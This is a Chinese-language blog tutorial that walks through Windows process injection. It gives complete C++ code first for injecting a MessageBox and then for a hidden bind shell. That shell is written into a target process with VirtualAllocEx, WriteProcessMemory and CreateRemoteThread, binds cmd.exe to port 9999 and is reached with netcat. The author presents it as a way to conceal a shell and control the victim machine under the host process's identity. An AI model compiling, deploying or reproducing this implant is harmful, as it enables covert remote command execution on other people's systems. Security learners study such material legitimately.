在筆者前幾篇文章中我們一直在探討如何利用`Metasploit`這個滲透工具生成`ShellCode`以及如何將ShellCode註入到特定進程內,本章我們將自己實現一個正向`ShellCode`Shell,當進程被註入後,則我們可以通過利用NC等工具連接到被註入進程內,並以對方的許可權及身份執行命令... ...
在筆者前幾篇文章中我們一直在探討如何利用Metasploit
這個滲透工具生成ShellCode
以及如何將ShellCode註入到特定進程內,本章我們將自己實現一個正向ShellCode
Shell,當進程被註入後,則我們可以通過利用NC等工具連接到被註入進程內,並以對方的許可權及身份執行命令,該功能有利於於Shell的隱藏。本章的內容其原理與《運用C語言編寫ShellCode代碼》
中所使用的原理保持一致,通過動態定位到我們所需的網路通信函數並以此來構建一個正向Shell,本章節內容對Metasploit
工具生成的Shell原理的理解能夠起到促進作用。
讀者需要理解,套接字(socket)是電腦網路中一種特殊的文件,是網路通信中的一種技術,用於實現進程之間的通信和網路中數據的傳輸。在網路通信中,套接字就像一條傳送數據的管道,負責數據的傳輸和接收。而socket(套接字)是在網路通信中最常用的一種通信協議,它定義了一組用於網路通信的API。通過使用socket,程式員可以在不同的電腦之間進行通信。讀者可以將兩者理解為一個意思。
1.12.1 讀入Kernel32模塊基址
為了能讓讀者更清晰的認識功能實現細節,首先筆者先來實現一個簡單的讀取特定模塊內函數的入口地址,並輸出該模塊地址的功能,需要註意的是,在之前的文章中筆者已經介紹了這種讀取技術,當時使用的是彙編版實現,由於需要自定位代碼的支持導致彙編語言的實現過於繁瑣,其實此類代碼在應用層實現僅僅只需要調用GetProcAddress()
即可獲取到核心參數,其實先細節如下所示;
#include <iostream>
#include <Windows.h>
// Kernel32 調用約定定義
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);
typedef struct _ShellBase
{
// 針對Kernel32的操作
HANDLE KernelHandle; // 存儲句柄
char kernelstring[20]; // 存儲字元串 kernel32.dll
// 針對User32的操作
HANDLE UserHandle; // 存儲句柄
char userstring[20]; // 存儲字元串 user32.dll
// 定義函數指針
LOADLIBRARY KernelLoadLibrary;
GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;
int main(int argc,char *argv[])
{
ShellParametros Param;
// 得到載入基地址的工具函數
Param.KernelHandle = LoadLibrary("kernel32.dll");
Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
printf("獲取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);
system("pause");
return 0;
}
這段代碼主要是定義了一個結構體ShellParametros
,並初始化了其中的一些參數。該結構體中定義了兩個HANDLE
類型的變數KernelHandle
和UserHandle
,分別用於存儲kernel32.dll
和user32.dll
的句柄。同時,也定義了兩個字元串數組kernelstring
和userstring
,用於存儲對應的庫名。
接下來,定義了兩個函數指針類型LOADLIBRARY
和GETPROCADDRESS
,分別用於後續的動態庫載入和函數導出操作。
在main
函數中,首先初始化了ShellParametros
結構體類型的變數Param
。然後,調用LoadLibrary
函數載入kernel32.dll
庫,並通過GetProcAddress
函數分別獲取LoadLibraryA
和GetProcAddress
函數的地址,並將它們賦值給Param.KernelLoadLibrary
和Param.KernelGetProcAddress
函數指針變數。最終列印出獲取到的kernel32.dll
的基地址,以及等待用戶按下任意鍵退出程式。
該代碼拆分來看,首先是入口處的結構體定義部分,這部分定義了一個結構體ShellParametros
,其中包含了對於kernel32.dll
和user32.dll
庫的操作的句柄和字元串,以及相關的函數指針類型LOADLIBRARY
和GETPROCADDRESS
。
// Kernel32 調用約定定義
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);
typedef struct _ShellBase
{
// 針對Kernel32的操作
HANDLE KernelHandle; // 存儲句柄
char kernelstring[20]; // 存儲字元串 kernel32.dll
// 針對User32的操作
HANDLE UserHandle; // 存儲句柄
char userstring[20]; // 存儲字元串 user32.dll
// 定義函數指針
LOADLIBRARY KernelLoadLibrary;
GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;
而在主函數中,首先聲明瞭一個結構體變數Param
,然後調用LoadLibrary
函數載入kernel32.dll
庫,將得到的句柄存儲到Param.KernelHandle
中。接著通過調用GetProcAddress
函數獲取LoadLibraryA
和GetProcAddress
函數的地址,將得到的函數地址分別存儲到Param.KernelLoadLibrary
和Param.KernelGetProcAddress
中。最後通過printf
函數列印出獲取到的Kernel32.dll
的基址。
int main(int argc, char *argv[])
{
ShellParametros Param;
// 得到載入基地址的工具函數
Param.KernelHandle = LoadLibrary("kernel32.dll");
Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
printf("獲取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);
printf("獲取到KernelLoadLibrary = 0x%08X \n", Param.KernelLoadLibrary);
printf("獲取到GetProcAddress = 0x%08X \n", Param.KernelGetProcAddress);
system("pause");
return 0;
}
這段代碼沒有任何難度,相信讀者能夠理解其實先的核心原理,當讀者運行此段代碼,則會分別輸出Kernel32.dll
,LoadLibraryA
及GetProcAddress
這三個模塊函數的基址,輸出效果如下圖所示;
1.12.2 進程註入MsgBox彈窗
通過進程註入功能將一個具有自定位功能的函數的機器碼註入到遠程進程中,並運行輸出一個彈窗,該功能的輸出形式與前幾章中的內容很相似,但卻有本質的不同,首先前幾章內容中我們註入的數據為純粹的ShellCode
代碼,此類代碼的缺陷在於一旦被生成則在註入時無法動態更改參數,而本章實現的註入技術則是動態填充記憶體並註入,從實用價值上來說本章中所演示的註入技術將更加通用及靈活。
動態彈窗的註入技術同樣需要定義關鍵函數指針,如下將分別定義三個函數指針,這些API函數的函數指針類型定義:
- LOADLIBRARY:LoadLibrary函數的函數指針類型,用於將動態鏈接庫(DLL)載入到調用進程的地址空間中。
- GETPROCADDRESS:GetProcAddress函數的函數指針類型,用於從DLL中檢索導出函數或變數的地址。
- MESSAGEBOX:MessageBox函數的函數指針類型,用於創建、顯示和操作消息框。WINAPI調用約定指定瞭如何傳遞函數參數和清理堆棧。
這些函數指針類型通常用於動態載入DLL和運行時鏈接導出函數。通過使用這些函數指針,程式可以在運行時獲取函數地址並動態調用它們。
// Kernel32 調用約定定義
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);
// User32 中針對MessageBox的調用約定定義
typedef int(WINAPI* MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
接著我們需要定義一個ShellParametros
結構體,該結構體的作用是用與傳遞參數到子線程MyShell(ShellParametros* ptr)
中以供其使用,當然讀者也可以使用普通變數形式,只是普通變數在參數傳遞時沒有傳遞結構方便快捷,如下從結構中可看出,我們分別傳遞kernel32.dll
,LoadLibrary
,GetProcAddress
及MessageBoxA
的函數地址,並附帶有該函數彈窗User_MsgBox
的提示信息;
typedef struct _ShellBase
{
// 針對Kernel32的操作
HANDLE Kernel32Base;
char KernelString[20]; // kernel32.dll
LOADLIBRARY Kernel_LoadLibrary;
GETPROCADDRESS Kernel_GetProcAddress;
// 針對User32的操作
HANDLE User32Base;
char UserString[20]; // 存儲 user32.dll 字元串
char User_MsgBox[20]; // 存儲 MessageBoxA 字元串
// 輸出一段話
char Text[32];
}ShellParametros;
接著就是關於__stdcall MyShell(ShellParametros*);
函數的封裝,這是一個用於遠程線程的函數定義,函數名為MyShell
,採用__stdcall
調用約定。該函數的參數是一個名為ptr
的指向ShellParametros
結構體的指針。
函數的實現包括以下步驟:
- 1.通過調用
ptr->Kernel_LoadLibrary
函數動態載入指定的Kernel32
和User32
庫,並將它們的句柄保存在ptr->Kernel32Base
和ptr->User32Base
變數中。 - 1.使用
ptr->Kernel_GetProcAddress
函數獲取User32
庫中名為ptr->User_MsgBox
的導出函數的地址,並將其轉換為MESSAGEBOX
函數指針類型的變數msgbox
。 - 1.調用
msgbox
函數,顯示ptr->Text
變數中保存的文本內容。
該函數的作用是在遠程線程中動態載入Kernel32
和User32
庫,並調用User32
庫中的MessageBox
函數顯示指定的文本內容。
void __stdcall MyShell(ShellParametros*);
// 定義遠程線程函數
void __stdcall MyShell(ShellParametros* ptr)
{
ptr->Kernel32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->KernelString);
ptr->User32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->UserString);
// printf("動態獲取到Kernel32基地址 = %x \n", ptr->Kernel32Base);
// printf("動態獲取到User32基地址 = %x \n", ptr->User32Base);
// MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->Kernel_GetProcAddress)((HINSTANCE)ptr->User32Base, ptr->User_MsgBox);
//printf("MessageBox 基地址 = %x \n", msgbox);
msgbox(0, ptr->Text, 0, 0);
}
最後我們來看一下在主函數中我們需要做什麼,在主函數中通過GetProcAddress
函數分別得到我們所需要的函數入口地址,並通過調用strcpy
函數分別將所需參數寫出到ShellParametros
結構體中保存,當一切準備就緒再通過OpenProcess
打開遠程進程,並設置一段讀寫執行記憶體空間,並調用WriteProcessMemory
將MyShell
函數寫出到該記憶體中保存,最後調用CreateRemoteThread
開闢遠程線程,執行彈窗功能;
這段代碼主要包括以下步驟:
- 1.定義了一個
ShellParametros
類型的變數Param
和一個指向ShellParametros
結構體的指針remote
,並聲明瞭一個HANDLE
類型的變數hProcess
和一個void*
類型的變數p
。 - 2.使用
LoadLibrary
和GetProcAddress
函數獲取Kernel32
庫中的LoadLibrary
和GetProcAddress
函數的地址,並將其保存到Param
結構體的相應欄位中。 - 3.分別將
kernel32.dll
和user32.dll
的文件名字元串保存到Param
結構體的相應欄位中,並將需要註入的代碼函數名和文本字元串分別保存到Param
結構體的相應欄位中。 - 4.使用
OpenProcess
函數打開指定PID
的進程,並分別使用VirtualAllocEx
函數在該進程中分配記憶體空間,分別保存註入代碼和Param
結構體的數據。 - 5.使用
WriteProcessMemory
函數將註入代碼和Param
結構體的數據寫入到指定進程中的記憶體空間中。 - 6.使用
CreateRemoteThread
函數創建一個遠程線程,將註入代碼的地址和Param
結構體的地址傳遞給遠程線程,併在指定進程中執行註入的代碼。
代碼的作用是在指定進程中註入代碼,並調用該代碼中的 MyShell
函數,該函數將動態載入 Kernel32
和 User32
庫,並調用 User32
庫中的 MessageBox
函數顯示指定的文本內容。
int main(int argc, char* argv[])
{
ShellParametros Param, *remote = NULL;
HANDLE hProcess;
void* p = NULL;
// 進程PID
int ProcessID = 4016;
// 得到載入基地址的工具函數
Param.Kernel32Base = LoadLibrary("kernel32.dll");
Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
Param.Kernel_GetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
// printf("獲取到Kernel32.dll = %x", Param.KernelHandle);
// 分別獲取Kernel32與User32的對應字元串
strcpy(Param.KernelString, "kernel32.dll");
strcpy(Param.UserString, "user32.dll");
strcpy(Param.User_MsgBox, "MessageBoxA");
strcpy(Param.Text, "hello lyshark");
// 根據PID註入代碼到指定進程中
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
remote = (ShellParametros*)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);
// MyShell(&Param);
return 0;
}
至此讀者可以將上述代碼編譯下來,但需要註意的是,由於我們採用了動態生成ShellCode
的功能,所以在使用此類代碼是應關閉編譯環境中的DEP及ASLR機制,否則由於地址的動態變化我們的代碼將無法成功定位函數入口,也就無法註入Shell;
DEP(Data Execution Prevention)保護是一種防止攻擊者在記憶體中執行惡意代碼的技術。它通過將記憶體中的數據和代碼區分開來,從而使得攻擊者無法在數據區執行代碼。DEP保護通過硬體和軟體兩種方式來實現。硬體實現通過CPU硬體中的NX位,禁止在數據區執行代碼。軟體實現通過操作系統內核檢查每個進程中的記憶體頁面的屬性,禁止在非執行屬性(NX)頁面上執行代碼。
ASLR(Address Space Layout Randomization)是一種防止攻擊者利用緩衝區溢出等漏洞攻擊的技術。它通過在每次程式運行時隨機地分配記憶體地址,使得攻擊者難以確定記憶體地址的位置,從而難以實現攻擊。ASLR可以在操作系統內核、編譯器和二進位代碼等多個層面實現,如在編譯時生成隨機堆棧和堆地址、載入時隨機化記憶體基地址等。
這兩種技術都可以增強操作系統的安全性,防止惡意代碼的攻擊和利用。DEP保護主要針對代碼執行方面,ASLR則主要針對代碼和數據在記憶體中的分佈方面。同時,兩者也有一些弱點和缺陷,例如DEP保護可以被一些攻擊技術繞過,ASLR的隨機性可能會被暴力破解或者信息泄露等方式破壞。因此,在實際應用中需要綜合考慮多種安全技術,以提高系統的安全性。
修改int ProcessID
並改為被註入進程的PID=4016
,然後直接運行註入程式,則讀者會看到被註入進程彈出了一個MessageBox提示框,則說名我們的自定義Shell已經註入成功並運行了;
1.12.3 進程註入MyShell正向Shell
經過前面兩個小案例的總結讀者應該能夠理解如何自己編寫一個動態ShellCode
註入軟體了,但是上述提到的這些功能並不具備真正的意義,而本章將繼續延申,並實現一種可被連接的正向ShellShell,在此案例中讀者需要理解一種綁定技術,在預設情況下,Windows系統中的每一個進程都存在標準輸入、輸出和錯誤流的匿名管道,而cmd.exe
進程同樣存在這三種管道,要實現正向Shell,一般而言攻擊者會創建一個監聽指定埠的網路套接字,並將其綁定到一個命令行解釋器(如 cmd.exe)的標準輸入和輸出流上,這樣攻擊者即可通過這個管道來使用遠程的CMD命令行,並以此達到控制對方的目的。
將CMD綁定到套接字上通常涉及以下步驟:
- 創建一個監聽套接字,以便在客戶端連接之前等待連接。監聽套接字可以是TCP或UDP類型。
- 調用bind()函數將監聽套接字綁定到本地IP地址和埠上。這是讓客戶端知道要連接哪個地址和埠的關鍵步驟。
- 調用listen()函數將監聽套接字轉換為被動套接字,並設置等待連接的隊列的最大長度。
- 調用accept()函數來接受客戶端連接,這將創建一個新的套接字,它與客戶端套接字相關聯。
- 調用CreateProcess()函數啟動cmd.exe進程,並將標準輸入、輸出和錯誤流重定向到新創建的套接字上。
首先我們需要定義所需要調用的函數指針,下方代碼定義了一組函數指針,每個函數指針都指向一個API函數,包括 LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect 和 CreateProcess。這些函數與動態鏈接庫、套接字通信、網路編程、創建進程等有關。
#include <iostream>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
// 定義各種指針變數
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE, LPCSTR);
typedef int (WINAPI* BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI* ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI* LISTEN) (SOCKET, int);
typedef int (WINAPI* WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI* WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI* WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI* CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
接著我們需要在原始ShellParametros
中進行擴充,根據所需函數的多少來定義承載該函數記憶體地址的指針類型;
typedef struct
{
HANDLE KernelHandle;
char kernelstring[20]; // 存儲kernel32.dll字元串
char CreateProcessstring[20]; // 存放函數名字字元串
LOADLIBRARY KernelLoadLibrary;
GETPROCADDRESS KernelGetProcAddress;
CREATEPROCESS KernelCreateProcess;
HANDLE WSAHandle;
char wsastring[20];
char wsastartupstring[20];
char WSASocketString[20];
char WSAConnectstring[20];
char bindstring[20];
char acceptstring[10];
char listenstring[10];
WSASTARTUP ShellWsaStartup;
ACCEPT ShellAccept;
BIND ShellBind;
WSACONNECT ShellWsaConnect;
WSASOCKET ShellWSASocket;
LISTEN ShellListen;
unsigned short port;
char cmd[255];
} PARAMETROS;
接著再來看核心MyShell
Shell實現函數,如下代碼實現了一個遠程Shell
,通過動態鏈接庫實現對API
函數的調用。
首先,通過調用 LoadLibrary
和 GetProcAddress
函數,獲取到 ws2.dll
和 kernel32.dll
中的函數地址,分別是 WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess。
然後,通過調用 WSAStartup
函數初始化套接字編程,創建一個套接字,並綁定在一個埠。通過 Listen
函數監聽連接請求,並使用 Accept
函數接收連接請求。
當有連接請求時,使用 CreateProcess
函數創建一個進程,並將標準輸入、輸出和錯誤重定向到網路套接字,實現遠程 Shell。
// 調用的遠程Shell代碼
void __stdcall MyShell(PARAMETROS* ptr)
{
STARTUPINFO si;
struct sockaddr_in sa;
PROCESS_INFORMATION pi;
int s, n;
WSADATA HWSAdata;
// 通過GetProcAddress獲取到ws2.dll中的所有函數地址
ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);
// 通過GetProcAddress獲取到kernel32.dll中的所有函數地址
ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
ptr->ShellWsaStartup(0x101, &HWSAdata);
s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
sa.sin_family = AF_INET;
sa.sin_port = ptr->port;
sa.sin_addr.s_addr = 0;
ptr->ShellBind(s, (struct sockaddr*)&sa, 16);
ptr->ShellListen(s, 1);
while (1)
{
n = ptr->ShellAccept(s, (struct sockaddr*)&sa, NULL);
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; // 0x101
si.hStdInput = si.hStdOutput = si.hStdError = (void*)n;
si.lpDesktop = si.lpTitle = (char*)0x0000;
si.lpReserved2 = NULL;
ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
}
}
最後再來看一下實現調用的主函數,代碼中通過argv[1]
也就是命令行參數傳遞,並綁定到(unsigned short)9999
埠上,通過GetProcAddress
依次獲取所需函數記憶體地址並使用strcpy
初始化結構體PARAMETROS
,最後直接調用CreateRemoteThread
實現線程Shell反彈。
- 通過 LoadLibrary 和 GetProcAddress 函數獲取到 kernel32.dll 中 LoadLibrary 和 GetProcAddress 函數的地址。然後,通過 strcpy 函數初始化一個 PARAMETROS 結構體,並填充該結構體的各個欄位。
- 通過 OpenProcess 函數打開目標進程,使用 VirtualAllocEx 函數在目標進程中分配記憶體,並使用 WriteProcessMemory 函數將代碼和參數複製到目標進程的記憶體中。
- 通過 CreateRemoteThread 函數在目標進程中創建一個線程,並將線程的入口點設置為 MyShell 函數,這樣就實現了進程註入。
int main(int argc, char* argv[])
{
void* p = NULL;
HANDLE hProcess;
PARAMETROS parametros, * remote;
if (argc == 2)
{
int PID = atoi(argv[1]);
memset((void*)¶metros, 0, sizeof(PARAMETROS));
strncpy(parametros.cmd, "cmd", sizeof("cmd") - 1);
parametros.port = htons((unsigned short)9999);
printf("[-] PID = %d \n", PID);
// 獲取到動態鏈接庫載入函數地址
parametros.KernelHandle = LoadLibrary("kernel32.dll");
parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");
// 拷貝 winsock 字元串
strcpy(parametros.wsastring, "ws2_32.dll");
strcpy(parametros.wsastartupstring, "WSAStartup");
strcpy(parametros.WSASocketString, "WSASocketW");
strcpy(parametros.WSAConnectstring, "WSAConnect");
strcpy(parametros.bindstring, "bind");
strcpy(parametros.acceptstring, "accept");
strcpy(parametros.listenstring, "listen");
// 拷貝 kernel32 字元串
strcpy(parametros.kernelstring, "kernel32.dll");
strcpy(parametros.CreateProcessstring, "CreateProcessA");
// 開始註入代碼
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
remote = (PARAMETROS*)VirtualAllocEx(hProcess, 0, sizeof(parametros), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
WriteProcessMemory(hProcess, remote, ¶metros, sizeof(PARAMETROS), 0);
CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);
// CreateRemoteThread(hProcess, 0, 0, (DWORD(WINAPI *)(void *)) p, remote, 0, 0);
printf("[+] 已註入進程 %d \n", PID);
}
return 0;
}
編譯上述代碼片段,並找到對應進程PID,通過參數MyShell.exe 8624
傳入被註入進程PID號,當註入成功後,會提示進程請求聯網,此時一個不具備網路通信功能的進程,因我們註入了ShllShell,則自然就具備了網路通信的能力,如下圖所示;
此時讀者可下載32位版本的NC,通過使用執行命令nc [遠程IP地址] [埠]
連接到進程內部;
小提示:Netcat是一款網路工具,也稱為nc工具,可以在不同的電腦之間進行數據傳輸。它可以在命令行中使用,並支持TCP/IP和UDP協議,其被譽為黑客界的瑞士軍刀,是每個安全從業者不可或缺的利器。
官方網站:https://eternallybored.org/misc/netcat/
當連接到進程內部則會反彈一個CMDShell
此時在該CMD下的所有操作都會被標記為宿主進程的操作。
本文作者: 王瑞
本文鏈接: https://www.lyshark.com/post/3e10758e.html
版權聲明: 本博客所有文章除特別聲明外,均採用 BY-NC-SA 許可協議。轉載請註明出處!